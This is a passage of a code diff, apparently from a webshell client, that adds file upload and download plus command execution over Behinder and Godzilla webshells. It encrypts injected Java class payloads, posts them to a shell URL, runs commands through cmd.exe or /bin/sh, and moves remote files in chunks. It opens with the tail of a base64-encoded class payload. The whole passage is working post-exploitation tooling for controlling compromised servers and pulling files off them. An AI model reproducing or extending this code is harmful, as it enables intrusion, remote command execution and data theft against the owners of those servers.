HeBA/fhUMB3qANJFULRUKhAoBGQYVDAV4ED9+NJFUFQWZAAwtFQqECgEQPVS7AHVZLbcA2LAAAAACACQAAACiACgAAAUOAAIFDwAFBRAAEAURABMFEgAWBRMAGwUUAB4FFQAnBRYALQUXAD0FGABFBRkASAUaAEsFGwBXBRwAYgUdAI0FHgCgBR8AswUgAMYFIQDWBRwA3QUjAOgFJADvBSUA8wUaAPoFJwEABSgBDQUpARwFKgEiBSsBNAUsATkFLQFCBS4BSwUwAU4FMQFbBTIBcgUzAYQFNAGJBTUBkgU5ACUAAAC2ABIAAAGbBUUADwAAAAIBmQVGAPwAAQAFAZYFRwD8AAIAEAGLBUgADwADABMBiAVJAPwABAAWAYUFSgE/AAUAGwGABUsABgAGAB4BfQVMAPwABwAnAXQFTQD8AAgALQFuBU4A/AAJAEgBUwVPAPwACgBXAJwFUAD8AAsAWwCCBVEA/AAMAF8AfgVSAPwADQCNAEkFUwD8AA4A6AALBVQA/AAMAQ0AhQVVAPwACwFbADcFVgD8AAwACQVXAWMAAQAhAAADCAAGAAwAAAGYKrYBzpoABwO8CLAqtgB0TAM9K74+AzYEHRxkNgUrHQRkMxA9oAAThAQBKx0FZDMQPaAABoQEARUEmgASFQUGfpkACwcVBQZ+ZDYEBhUFBmAHbGgVBGS8CDoGEQEAvAo6BxkHArgFWAM2CKcAERkHsgAiFQg0FQhPhAgBFQiyACK+of/sGQcQPRD+TwM2CAM2CRASNgqnAIorHIQCATMRAP9+NgsZBxULLlk2C5wAMxULEP6gACwVChAGoAATHB2fABUrHIQCATMQPaAAChUKEBKgAFO7BVtZEwVdtwVfvxUJFQsVCniANgmECvoVCpwAMRkGFQiECAEVCRAQepFUGQYVCIQIARUJEAh6kVQZBhUIhAgBFQmRVBASNgoDNgkcHaH/dxUKEAagABQZBhUIhAgBFQkQEHqRVKcAORUKmgAiGQYVCIQIARUJEBB6kVQZBhUIhAgBFQkQCHqRVKcAFRUKEAygAA67BVtZEwVgtwVfvxUIGQa+nwAeFQi8CDoLGQYDGQsDGQa+FQi4BIy4ApQZCzoGGQawAAAAAgAkAAAAygAyAAAFPQAHBT4ACwVAABAFQQASBUIAFQVDABgFRAAdBUUAJwVGACoFRwA0BUgANwVLAEMFTABLBU4AWgVPAGEFUABnBVEAbQVSAHgFUQCEBVQAiwVVAI4FVgCRBVcAlQVYAJgFWQCkBVoArwVbALYFXADUBV0A3wViAOkFYwDsBWQA8QVlAP8FZgENBWcBGAVoARwFaQEfBVgBJAVtASsFbgE5BW8BQQVwAU8FcQFdBXIBZwV0AXIFdgF6BXcBgAV4AZEFeQGVBXsAJQAAAI4ADgAAAZgFYgCpAAAAEAGIBUUADwABABIBhgVMAPwAAgAVAYMFTgD8AAMAGAGABWMA/AAEAB0BewD7APwABQBaAT4FSAAPAAYAYQE3BUsFZAAHAGoAGgHgAPwACACOAQoFTwD8AAgAkQEHBVMA/AAJAJUBAwVlAPwACgCkAHsAOwD8AAsBgAAVBJQADwALAAEFZgAAAAIFZw==";
222
241
  var ECHO_CLASS_BYTES = Buffer.from(ECHO_CLASS_B64, "base64");
223
242
  var CMD_CLASS_BYTES = Buffer.from(CMD_CLASS_B64, "base64");
243
+ var FILE_OPERATION_CLASS_BYTES = Buffer.from(FILE_OPERATION_CLASS_B64, "base64");
224
244
  var GODZILLA_PAYLOAD_BYTES = Buffer.from(GODZILLA_PAYLOAD_B64, "base64");
225
245
 
226
246
  // src/connect/classfile.ts
@@ -248,7 +268,7 @@ function readPool(cur) {
248
268
  switch (tag) {
249
269
  case 1: {
250
270
  const len = cur.u2(off + 1);
251
- const value = buf.toString("utf8", off + 3, off + 3 + len);
271
+ const value = decodeModifiedUtf8(buf, off + 3, off + 3 + len);
252
272
  utf8.set(i, value);
253
273
  if (value === CONSTANT_VALUE) constantValueNameIndex = i;
254
274
  off += 3 + len;
@@ -297,13 +317,50 @@ function readPool(cur) {
297
317
  }
298
318
  return { count, end: off, utf8, constantValueNameIndex };
299
319
  }
320
+ function decodeModifiedUtf8(buf, start, end) {
321
+ let out = "";
322
+ let i = start;
323
+ while (i < end) {
324
+ const b = buf[i];
325
+ if (b < 128) {
326
+ out += String.fromCharCode(b);
327
+ i += 1;
328
+ } else if ((b & 224) === 192 && i + 1 < end) {
329
+ out += String.fromCharCode((b & 31) << 6 | buf[i + 1] & 63);
330
+ i += 2;
331
+ } else if ((b & 240) === 224 && i + 2 < end) {
332
+ out += String.fromCharCode(
333
+ (b & 15) << 12 | (buf[i + 1] & 63) << 6 | buf[i + 2] & 63
334
+ );
335
+ i += 3;
336
+ } else {
337
+ out += "\uFFFD";
338
+ i += 1;
339
+ }
340
+ }
341
+ return out;
342
+ }
300
343
  function encodeUtf8Entry(value) {
301
- const data = Buffer.from(value, "utf8");
344
+ const data = encodeModifiedUtf8(value);
302
345
  const out = Buffer.alloc(3);
303
346
  out.writeUInt8(1, 0);
304
347
  out.writeUInt16BE(data.length, 1);
305
348
  return Buffer.concat([out, data]);
306
349
  }
350
+ function encodeModifiedUtf8(value) {
351
+ const bytes = [];
352
+ for (let i = 0; i < value.length; i++) {
353
+ const code = value.charCodeAt(i);
354
+ if (code >= 1 && code <= 127) {
355
+ bytes.push(code);
356
+ } else if (code <= 2047) {
357
+ bytes.push(192 | code >> 6, 128 | code & 63);
358
+ } else {
359
+ bytes.push(224 | code >> 12, 128 | code >> 6 & 63, 128 | code & 63);
360
+ }
361
+ }
362
+ return Buffer.from(bytes);
363
+ }
307
364
  function injectStringConstant(classBytes, fieldName, value) {
308
365
  const cur = new Cursor(classBytes);
309
366
  if (cur.buf.readUInt32BE(0) !== 3405691582) {
@@ -451,7 +508,7 @@ function postRaw(url, body, options = {}) {
451
508
  if (!isHttps && target.protocol !== "http:") {
452
509
  return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));
453
510
  }
454
- return new Promise((resolve, reject) => {
511
+ return new Promise((resolve2, reject) => {
455
512
  const started = Date.now();
456
513
  const transport = isHttps ? https : http;
457
514
  const req = transport.request(
@@ -476,7 +533,7 @@ function postRaw(url, body, options = {}) {
476
533
  res.on("data", (chunk) => chunks.push(chunk));
477
534
  res.on(
478
535
  "end",
479
- () => resolve({
536
+ () => resolve2({
480
537
  status: res.statusCode ?? 0,
481
538
  headers: res.headers,
482
539
  body: Buffer.concat(chunks),
@@ -663,8 +720,254 @@ async function execBehinder(url, pass, command, options = {}) {
663
720
  failures.join("; ") + " \u2014 wrong password, missing gate header, or not a Behinder shell"
664
721
  );
665
722
  }
723
+ var BH_UPLOAD_CHUNK = 46080;
724
+ var BH_DOWNLOAD_CHUNK = 1024 * 1024;
725
+ var BH_MAX_DOWNLOAD = 2147483647;
726
+ var BH_CHUNK_ATTEMPTS = 3;
727
+ var BH_HASH_CHECK_LIMIT = 128 * 1024 * 1024;
728
+ function openBehinderChannel(url, key, options = {}) {
729
+ let pinned = options.requestEncoding ?? null;
730
+ let cookie;
731
+ const invoke = async (fields) => {
732
+ let classBytes = FILE_OPERATION_CLASS_BYTES;
733
+ for (const [name, value] of Object.entries(fields)) {
734
+ classBytes = injectStringConstant(classBytes, name, value);
735
+ }
736
+ const encrypted = aesEcbEncrypt(classBytes, key);
737
+ const encodings = pinned ? [pinned] : ["base64", "raw"];
738
+ const failures = [];
739
+ for (const encoding of encodings) {
740
+ const body = encoding === "base64" ? Buffer.from(encrypted.toString("base64")) : encrypted;
741
+ const baseHeaders = buildHeaders({ "Content-Type": "application/octet-stream" }, options);
742
+ const response = await postRaw(url, body, {
743
+ headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,
744
+ timeoutMs: options.timeoutMs,
745
+ insecure: options.insecure
746
+ });
747
+ const setCookies = extractCookies(response.headers);
748
+ if (setCookies.length > 0) cookie = setCookies.join("; ");
749
+ const envelope = parseEchoResponse(response.body, key);
750
+ if (envelope) {
751
+ pinned = encoding;
752
+ return envelope;
753
+ }
754
+ failures.push(
755
+ `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` + (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : " (empty body)")
756
+ );
757
+ }
758
+ throw new Error(
759
+ failures.join("; ") + " \u2014 wrong password, missing gate header, or not a Behinder shell"
760
+ );
761
+ };
762
+ return { invoke };
763
+ }
764
+ async function verifyBehinderRemote(channel, remotePath, data, limit, mismatchNote) {
765
+ if (data.length > limit) {
766
+ try {
767
+ const envelope = await channel.invoke({ mode: "checkExist", path: remotePath });
768
+ const text = envelope.status === "success" ? envelope.msg.trim() : "";
769
+ if (!/^\d+$/.test(text) || Number.parseInt(text, 10) !== data.length) {
770
+ return {
771
+ error: `size verification failed \u2014 local ${data.length} bytes, remote said ${JSON.stringify(envelope.msg)}`
772
+ };
773
+ }
774
+ return { detail: `over ${limit} bytes \u2014 MD5 check skipped, size verified` };
775
+ } catch (err) {
776
+ return {
777
+ detail: `size verification unavailable (${err instanceof Error ? err.message : String(err)})`
778
+ };
779
+ }
780
+ }
781
+ try {
782
+ const envelope = await channel.invoke({ mode: "check", path: remotePath });
783
+ if (envelope.status === "success" && /^[0-9a-fA-F]{16}$/.test(envelope.msg.trim())) {
784
+ const local = md5Hex(data).slice(0, 16).toLowerCase();
785
+ if (envelope.msg.trim().toLowerCase() !== local) {
786
+ return {
787
+ error: `hash mismatch \u2014 remote md5[0:16]=${envelope.msg.trim()}, local=${local} ${mismatchNote}`
788
+ };
789
+ }
790
+ return {};
791
+ }
792
+ return { detail: "hash verification unavailable (unexpected check response)" };
793
+ } catch {
794
+ return { detail: "hash verification unavailable (check request failed)" };
795
+ }
796
+ }
797
+ async function downloadBehinder(url, pass, remotePath, options = {}) {
798
+ const started = Date.now();
799
+ const key = md5Key16(pass);
800
+ const fail = (error) => ({
801
+ ok: false,
802
+ tool: "behinder",
803
+ url,
804
+ direction: "download",
805
+ remotePath,
806
+ error,
807
+ durationMs: Date.now() - started
808
+ });
809
+ const channel = openBehinderChannel(url, key, options);
810
+ let size;
811
+ try {
812
+ const envelope = await channel.invoke({ mode: "checkExist", path: remotePath });
813
+ if (envelope.status !== "success") {
814
+ return fail(
815
+ `remote path not found (or not readable): ${remotePath}` + (envelope.msg ? ` \u2014 ${envelope.msg}` : "")
816
+ );
817
+ }
818
+ const text = envelope.msg.trim();
819
+ if (!/^\d+$/.test(text)) {
820
+ return fail(`unexpected checkExist response: ${JSON.stringify(envelope.msg)}`);
821
+ }
822
+ size = Number.parseInt(text, 10);
823
+ } catch (err) {
824
+ return fail(err instanceof Error ? err.message : String(err));
825
+ }
826
+ if (size > BH_MAX_DOWNLOAD) {
827
+ return fail(`remote file is ${size} bytes \u2014 refusing to buffer over 2 GiB in memory`);
828
+ }
829
+ const chunkSize = options.downloadChunkSize ?? BH_DOWNLOAD_CHUNK;
830
+ const parts = [];
831
+ let downloaded = 0;
832
+ const blockCount = Math.ceil(size / chunkSize);
833
+ for (let index = 0; index < blockCount; index++) {
834
+ const want = Math.min(chunkSize, size - downloaded);
835
+ let chunk = null;
836
+ let serverSays = "";
837
+ for (let attempt = 1; attempt <= BH_CHUNK_ATTEMPTS && chunk === null; attempt++) {
838
+ try {
839
+ const envelope = await channel.invoke({
840
+ mode: "downloadPart",
841
+ path: remotePath,
842
+ blockIndex: String(index),
843
+ blockSize: String(chunkSize)
844
+ });
845
+ if (envelope.status !== "success") {
846
+ serverSays = envelope.msg || "remote status fail";
847
+ continue;
848
+ }
849
+ const buf = Buffer.from(envelope.msg, "base64");
850
+ if (buf.length !== want) {
851
+ serverSays = `short chunk: got ${buf.length} of ${want} bytes`;
852
+ continue;
853
+ }
854
+ chunk = buf;
855
+ } catch (err) {
856
+ serverSays = err instanceof Error ? err.message : String(err);
857
+ }
858
+ }
859
+ if (chunk === null) {
860
+ return fail(`chunk ${index} at offset ${downloaded}/${size} failed \u2014 ${serverSays}`);
861
+ }
862
+ parts.push(chunk);
863
+ downloaded += chunk.length;
864
+ }
865
+ const data = Buffer.concat(parts);
866
+ let detail;
867
+ if (size === 0) {
868
+ detail = "remote file is empty \u2014 hash check skipped";
869
+ } else {
870
+ const verification = await verifyBehinderRemote(
871
+ channel,
872
+ remotePath,
873
+ data,
874
+ options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT,
875
+ "(the file changed during transfer?)"
876
+ );
877
+ if (verification.error) return fail(verification.error);
878
+ detail = verification.detail;
879
+ }
880
+ return {
881
+ ok: true,
882
+ tool: "behinder",
883
+ url,
884
+ direction: "download",
885
+ remotePath,
886
+ bytes: data.length,
887
+ detail,
888
+ data,
889
+ durationMs: Date.now() - started
890
+ };
891
+ }
892
+ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
893
+ const started = Date.now();
894
+ const key = md5Key16(pass);
895
+ const fail = (error) => ({
896
+ ok: false,
897
+ tool: "behinder",
898
+ url,
899
+ direction: "upload",
900
+ remotePath,
901
+ error,
902
+ durationMs: Date.now() - started
903
+ });
904
+ const channel = openBehinderChannel(url, key, options);
905
+ if (data.length === 0) {
906
+ try {
907
+ const envelope = await channel.invoke({ mode: "create", path: remotePath, content: "" });
908
+ if (envelope.status !== "success") {
909
+ return fail(`server said: ${envelope.msg || "remote status fail"}`);
910
+ }
911
+ } catch (err) {
912
+ return fail(err instanceof Error ? err.message : String(err));
913
+ }
914
+ return {
915
+ ok: true,
916
+ tool: "behinder",
917
+ url,
918
+ direction: "upload",
919
+ remotePath,
920
+ bytes: 0,
921
+ detail: "empty file \u2014 hash check skipped",
922
+ durationMs: Date.now() - started
923
+ };
924
+ }
925
+ let offset = 0;
926
+ let index = 0;
927
+ while (offset < data.length) {
928
+ const chunk = data.subarray(offset, Math.min(offset + BH_UPLOAD_CHUNK, data.length));
929
+ const mode = index === 0 ? "create" : "append";
930
+ try {
931
+ const envelope = await channel.invoke({
932
+ mode,
933
+ path: remotePath,
934
+ content: chunk.toString("base64")
935
+ });
936
+ if (envelope.status !== "success") {
937
+ return fail(
938
+ `chunk ${index} failed at offset ${offset}/${data.length} \u2014 server said: ${envelope.msg || "remote status fail"} \u2014 the remote file may be incomplete`
939
+ );
940
+ }
941
+ } catch (err) {
942
+ return fail(
943
+ `chunk ${index} failed at offset ${offset}/${data.length}: ${err instanceof Error ? err.message : String(err)} \u2014 the remote file may be incomplete`
944
+ );
945
+ }
946
+ offset += chunk.length;
947
+ index++;
948
+ }
949
+ const verification = await verifyBehinderRemote(
950
+ channel,
951
+ remotePath,
952
+ data,
953
+ options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT,
954
+ "(the upload was corrupted)"
955
+ );
956
+ if (verification.error) return fail(verification.error);
957
+ return {
958
+ ok: true,
959
+ tool: "behinder",
960
+ url,
961
+ direction: "upload",
962
+ remotePath,
963
+ bytes: data.length,
964
+ detail: verification.detail,
965
+ durationMs: Date.now() - started
966
+ };
967
+ }
666
968
 
667
969
  // src/connect/godzilla.ts
970
+ import iconv from "iconv-lite";
668
971
  function serializeParams(params) {
669
972
  const parts = [];
670
973
  for (const [key, value] of params) {
@@ -682,8 +985,30 @@ function excerpt2(body) {
682
985
  const text = body.toString("latin1").replace(/[^\x20-\x7e]+/g, " ").trim();
683
986
  return text.length > 200 ? `${text.slice(0, 200)}...` : text;
684
987
  }
685
- async function testGodzilla(url, pass, key, options = {}) {
686
- const started = Date.now();
988
+ function errMsg(err) {
989
+ return err instanceof Error ? err.message : String(err);
990
+ }
991
+ function decodeServerText(buf) {
992
+ try {
993
+ return new TextDecoder("utf-8", { fatal: true }).decode(buf);
994
+ } catch {
995
+ try {
996
+ return new TextDecoder("gbk").decode(buf);
997
+ } catch {
998
+ return buf.toString("utf8");
999
+ }
1000
+ }
1001
+ }
1002
+ function encodeRemotePath(remotePath, remoteCharset) {
1003
+ if (remoteCharset === void 0 || /^utf-?8$/i.test(remoteCharset)) {
1004
+ return Buffer.from(remotePath, "utf8");
1005
+ }
1006
+ if (!iconv.encodingExists(remoteCharset)) {
1007
+ return Buffer.from(remotePath, "utf8");
1008
+ }
1009
+ return iconv.encode(remotePath, remoteCharset);
1010
+ }
1011
+ async function openGodzillaSession(url, pass, key, options = {}) {
687
1012
  const xc = md5Key16(key);
688
1013
  const wrapper = md5Hex(pass + xc).toUpperCase();
689
1014
  const left = wrapper.slice(0, 16);
@@ -697,81 +1022,77 @@ async function testGodzilla(url, pass, key, options = {}) {
697
1022
  timeoutMs: options.timeoutMs,
698
1023
  insecure: options.insecure
699
1024
  });
700
- let initResponse;
701
- try {
702
- initResponse = await post(GODZILLA_PAYLOAD_BYTES);
703
- } catch (err) {
704
- return {
705
- ok: false,
706
- tool: "godzilla",
707
- url,
708
- error: err instanceof Error ? err.message : String(err),
709
- durationMs: Date.now() - started
710
- };
711
- }
1025
+ const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
712
1026
  const cookies = extractCookies(initResponse.headers);
713
1027
  const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
714
- const callData = gzip(serializeParams([["methodName", Buffer.from("test", "utf8")]]));
715
- let testResponse;
1028
+ return {
1029
+ async callMethod(methodName, extraParams = []) {
1030
+ const callData = gzip(
1031
+ serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
1032
+ );
1033
+ const res = await post(callData, cookie);
1034
+ const text = res.body.toString("latin1");
1035
+ const leftIdx = text.indexOf(left);
1036
+ const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);
1037
+ if (leftIdx === -1 || rightIdx === -1) {
1038
+ throw new Error(
1039
+ `HTTP ${res.status}, response lacks the Godzilla wrapper` + (text.trim().length > 0 ? ` (starts with: ${excerpt2(res.body)})` : " (empty body)") + " \u2014 wrong pass/key, missing gate header, or not a Godzilla shell"
1040
+ );
1041
+ }
1042
+ const wrapped = text.slice(leftIdx + left.length, rightIdx);
1043
+ try {
1044
+ return gunzipLenient(aesEcbDecrypt(Buffer.from(wrapped, "base64"), xc));
1045
+ } catch {
1046
+ throw new Error("found wrapper but failed to decrypt \u2014 wrong key?");
1047
+ }
1048
+ }
1049
+ };
1050
+ }
1051
+ async function testGodzilla(url, pass, key, options = {}) {
1052
+ const started = Date.now();
1053
+ let session;
716
1054
  try {
717
- testResponse = await post(callData, cookie);
1055
+ session = await openGodzillaSession(url, pass, key, options);
718
1056
  } catch (err) {
719
1057
  return {
720
1058
  ok: false,
721
1059
  tool: "godzilla",
722
1060
  url,
723
- error: err instanceof Error ? err.message : String(err),
1061
+ error: errMsg(err),
724
1062
  durationMs: Date.now() - started
725
1063
  };
726
1064
  }
727
- const text = testResponse.body.toString("latin1");
728
- const leftIdx = text.indexOf(left);
729
- const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);
730
- if (leftIdx === -1 || rightIdx === -1) {
731
- return {
732
- ok: false,
733
- tool: "godzilla",
734
- url,
735
- error: `HTTP ${testResponse.status}, response lacks the Godzilla wrapper` + (text.trim().length > 0 ? ` (starts with: ${excerpt2(testResponse.body)})` : " (empty body)") + " \u2014 wrong pass/key, missing gate header, or not a Godzilla shell",
736
- durationMs: Date.now() - started
737
- };
738
- }
739
- const wrapped = text.slice(leftIdx + left.length, rightIdx);
1065
+ let result;
740
1066
  try {
741
- const decrypted = aesEcbDecrypt(Buffer.from(wrapped, "base64"), xc);
742
- const result = gunzipLenient(decrypted).toString("utf8").trim();
743
- if (result === "ok") {
744
- return {
745
- ok: true,
746
- tool: "godzilla",
747
- url,
748
- detail: `payload uploaded, "test" returned ok (HTTP ${testResponse.status})`,
749
- durationMs: Date.now() - started
750
- };
751
- }
1067
+ result = (await session.callMethod("test")).toString("utf8").trim();
1068
+ } catch (err) {
752
1069
  return {
753
1070
  ok: false,
754
1071
  tool: "godzilla",
755
1072
  url,
756
- error: `decrypted response is ${JSON.stringify(result)}, expected "ok"`,
1073
+ error: errMsg(err),
757
1074
  durationMs: Date.now() - started
758
1075
  };
759
- } catch {
1076
+ }
1077
+ if (result === "ok") {
760
1078
  return {
761
- ok: false,
1079
+ ok: true,
762
1080
  tool: "godzilla",
763
1081
  url,
764
- error: "found wrapper but failed to decrypt \u2014 wrong key?",
1082
+ detail: `payload uploaded, "test" returned ok`,
765
1083
  durationMs: Date.now() - started
766
1084
  };
767
1085
  }
1086
+ return {
1087
+ ok: false,
1088
+ tool: "godzilla",
1089
+ url,
1090
+ error: `decrypted response is ${JSON.stringify(result)}, expected "ok"`,
1091
+ durationMs: Date.now() - started
1092
+ };
768
1093
  }
769
1094
  async function execGodzilla(url, pass, key, command, options = {}) {
770
1095
  const started = Date.now();
771
- const xc = md5Key16(key);
772
- const wrapper = md5Hex(pass + xc).toUpperCase();
773
- const left = wrapper.slice(0, 16);
774
- const right = wrapper.slice(16);
775
1096
  const fail = (error) => ({
776
1097
  ok: false,
777
1098
  tool: "godzilla",
@@ -780,47 +1101,20 @@ async function execGodzilla(url, pass, key, command, options = {}) {
780
1101
  error,
781
1102
  durationMs: Date.now() - started
782
1103
  });
783
- const baseHeaders = buildHeaders(
784
- { "Content-Type": "application/x-www-form-urlencoded" },
785
- options
786
- );
787
- const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
788
- headers: cookie2 ? { ...baseHeaders, Cookie: cookie2 } : baseHeaders,
789
- timeoutMs: options.timeoutMs,
790
- insecure: options.insecure
791
- });
792
- let initResponse;
1104
+ let session;
793
1105
  try {
794
- initResponse = await post(GODZILLA_PAYLOAD_BYTES);
1106
+ session = await openGodzillaSession(url, pass, key, options);
795
1107
  } catch (err) {
796
- return fail(err instanceof Error ? err.message : String(err));
1108
+ return fail(errMsg(err));
797
1109
  }
798
- const cookies = extractCookies(initResponse.headers);
799
- const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
800
- const callMethod = async (methodName, extraParams = []) => {
801
- const callData = gzip(
802
- serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
803
- );
804
- const res = await post(callData, cookie);
805
- const text = res.body.toString("latin1");
806
- const leftIdx = text.indexOf(left);
807
- const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);
808
- if (leftIdx === -1 || rightIdx === -1) {
809
- throw new Error(
810
- `HTTP ${res.status}, response lacks the Godzilla wrapper` + (text.trim().length > 0 ? ` (starts with: ${excerpt2(res.body)})` : " (empty body)") + " \u2014 wrong pass/key, missing gate header, or not a Godzilla shell"
811
- );
812
- }
813
- const wrapped = text.slice(leftIdx + left.length, rightIdx);
814
- return gunzipLenient(aesEcbDecrypt(Buffer.from(wrapped, "base64"), xc));
815
- };
816
1110
  let os = options.os ?? "auto";
817
1111
  if (os === "auto") {
818
1112
  try {
819
- const info = (await callMethod("getBasicsInfo")).toString("utf8");
1113
+ const info = (await session.callMethod("getBasicsInfo")).toString("utf8");
820
1114
  const osLine = info.split("\n").find((l) => l.startsWith("OsInfo :")) ?? info;
821
1115
  os = /os\.name:[^\n]*windows/i.test(osLine) ? "windows" : "linux";
822
1116
  } catch (err) {
823
- return fail(err instanceof Error ? err.message : String(err));
1117
+ return fail(errMsg(err));
824
1118
  }
825
1119
  }
826
1120
  const argv = os === "windows" ? ["cmd.exe", "/c", command] : ["/bin/sh", "-c", command];
@@ -829,7 +1123,7 @@ async function execGodzilla(url, pass, key, command, options = {}) {
829
1123
  ...argv.map((arg, i) => [`arg-${i}`, Buffer.from(arg, "utf8")])
830
1124
  ];
831
1125
  try {
832
- const output = await callMethod("execCommand", params);
1126
+ const output = await session.callMethod("execCommand", params);
833
1127
  return {
834
1128
  ok: true,
835
1129
  tool: "godzilla",
@@ -839,13 +1133,198 @@ async function execGodzilla(url, pass, key, command, options = {}) {
839
1133
  durationMs: Date.now() - started
840
1134
  };
841
1135
  } catch (err) {
842
- if (err instanceof Error && err.message.includes("wrapper")) {
843
- return fail(err.message);
1136
+ return fail(errMsg(err));
1137
+ }
1138
+ }
1139
+ var DEFAULT_CHUNK = 1024 * 1024;
1140
+ var MAX_REMOTE_SIZE = 2147483647;
1141
+ var CHUNK_ATTEMPTS = 3;
1142
+ function fileParams(pathBytes, extra) {
1143
+ return [["fileName", pathBytes], ...extra];
1144
+ }
1145
+ async function downloadGodzilla(url, pass, key, remotePath, options = {}) {
1146
+ const started = Date.now();
1147
+ const fail = (error) => ({
1148
+ ok: false,
1149
+ tool: "godzilla",
1150
+ url,
1151
+ direction: "download",
1152
+ remotePath,
1153
+ error,
1154
+ durationMs: Date.now() - started
1155
+ });
1156
+ let session;
1157
+ try {
1158
+ session = await openGodzillaSession(url, pass, key, options);
1159
+ } catch (err) {
1160
+ return fail(errMsg(err));
1161
+ }
1162
+ const pathBytes = encodeRemotePath(remotePath, options.remoteCharset);
1163
+ let sizeText;
1164
+ try {
1165
+ sizeText = decodeServerText(
1166
+ await session.callMethod(
1167
+ "bigFileDownload",
1168
+ fileParams(pathBytes, [
1169
+ ["mode", Buffer.from("fileSize")],
1170
+ ["position", Buffer.from("0")],
1171
+ ["readByteNum", Buffer.from("0")]
1172
+ ])
1173
+ )
1174
+ ).trim();
1175
+ } catch (err) {
1176
+ return fail(errMsg(err));
1177
+ }
1178
+ if (!/^\d+$/.test(sizeText)) {
1179
+ return fail(`cannot get remote file size \u2014 server said: ${JSON.stringify(sizeText)}`);
1180
+ }
1181
+ const size = Number.parseInt(sizeText, 10);
1182
+ if (size > MAX_REMOTE_SIZE) {
1183
+ return fail(
1184
+ `remote file is ${size} bytes \u2014 the Godzilla payload cannot handle files over 2 GiB`
1185
+ );
1186
+ }
1187
+ const chunkSize = options.chunkSize ?? DEFAULT_CHUNK;
1188
+ const parts = [];
1189
+ let downloaded = 0;
1190
+ for (; ; ) {
1191
+ if (size > 0 && downloaded >= size) break;
1192
+ if (size === 0 && parts.length > 0) break;
1193
+ const want = size === 0 ? 0 : Math.min(chunkSize, size - downloaded);
1194
+ let chunk = null;
1195
+ let serverSays = "";
1196
+ for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && chunk === null; attempt++) {
1197
+ try {
1198
+ const res = await session.callMethod(
1199
+ "bigFileDownload",
1200
+ fileParams(pathBytes, [
1201
+ ["mode", Buffer.from("read")],
1202
+ ["position", Buffer.from(String(downloaded))],
1203
+ ["readByteNum", Buffer.from(String(want))]
1204
+ ])
1205
+ );
1206
+ if (res.length === want || res.length + downloaded === size) {
1207
+ chunk = res;
1208
+ } else {
1209
+ serverSays = decodeServerText(res).trim();
1210
+ }
1211
+ } catch (err) {
1212
+ serverSays = errMsg(err);
1213
+ }
1214
+ }
1215
+ if (chunk === null) {
1216
+ return fail(
1217
+ `read failed at offset ${downloaded}/${size} \u2014 server said: ${JSON.stringify(serverSays)}`
1218
+ );
844
1219
  }
1220
+ parts.push(chunk);
1221
+ downloaded += chunk.length;
1222
+ }
1223
+ const data = Buffer.concat(parts);
1224
+ if (data.length !== size) {
845
1225
  return fail(
846
- `found wrapper but failed to decrypt \u2014 wrong key? (${err instanceof Error ? err.message : String(err)})`
1226
+ `incomplete download: got ${data.length} of ${size} bytes \u2014 the file changed during transfer?`
847
1227
  );
848
1228
  }
1229
+ return {
1230
+ ok: true,
1231
+ tool: "godzilla",
1232
+ url,
1233
+ direction: "download",
1234
+ remotePath,
1235
+ bytes: data.length,
1236
+ data,
1237
+ durationMs: Date.now() - started
1238
+ };
1239
+ }
1240
+ async function uploadGodzilla(url, pass, key, remotePath, data, options = {}) {
1241
+ const started = Date.now();
1242
+ const fail = (error) => ({
1243
+ ok: false,
1244
+ tool: "godzilla",
1245
+ url,
1246
+ direction: "upload",
1247
+ remotePath,
1248
+ error,
1249
+ durationMs: Date.now() - started
1250
+ });
1251
+ let session;
1252
+ try {
1253
+ session = await openGodzillaSession(url, pass, key, options);
1254
+ } catch (err) {
1255
+ return fail(errMsg(err));
1256
+ }
1257
+ const pathBytes = encodeRemotePath(remotePath, options.remoteCharset);
1258
+ const chunkSize = options.chunkSize ?? DEFAULT_CHUNK;
1259
+ if (data.length <= chunkSize) {
1260
+ let text;
1261
+ try {
1262
+ text = decodeServerText(
1263
+ await session.callMethod("uploadFile", fileParams(pathBytes, [["fileValue", data]]))
1264
+ ).trim();
1265
+ } catch (err) {
1266
+ return fail(errMsg(err));
1267
+ }
1268
+ if (text !== "ok") {
1269
+ return fail(`server said: ${JSON.stringify(text)}`);
1270
+ }
1271
+ } else {
1272
+ let offset = 0;
1273
+ while (offset < data.length) {
1274
+ const chunk = data.subarray(offset, Math.min(offset + chunkSize, data.length));
1275
+ let ok = false;
1276
+ let serverSays = "";
1277
+ for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && !ok; attempt++) {
1278
+ try {
1279
+ const res = await session.callMethod(
1280
+ "bigFileUpload",
1281
+ fileParams(pathBytes, [
1282
+ ["fileContents", chunk],
1283
+ ["position", Buffer.from(String(offset))]
1284
+ ])
1285
+ );
1286
+ serverSays = decodeServerText(res).trim();
1287
+ ok = serverSays === "ok";
1288
+ } catch (err) {
1289
+ serverSays = errMsg(err);
1290
+ }
1291
+ }
1292
+ if (!ok) {
1293
+ return fail(
1294
+ `upload failed at offset ${offset}/${data.length} \u2014 server said: ${JSON.stringify(serverSays)}`
1295
+ );
1296
+ }
1297
+ offset += chunk.length;
1298
+ }
1299
+ }
1300
+ try {
1301
+ const sizeText = decodeServerText(
1302
+ await session.callMethod(
1303
+ "bigFileDownload",
1304
+ fileParams(pathBytes, [
1305
+ ["mode", Buffer.from("fileSize")],
1306
+ ["position", Buffer.from("0")],
1307
+ ["readByteNum", Buffer.from("0")]
1308
+ ])
1309
+ )
1310
+ ).trim();
1311
+ if (!/^\d+$/.test(sizeText) || Number.parseInt(sizeText, 10) !== data.length) {
1312
+ return fail(
1313
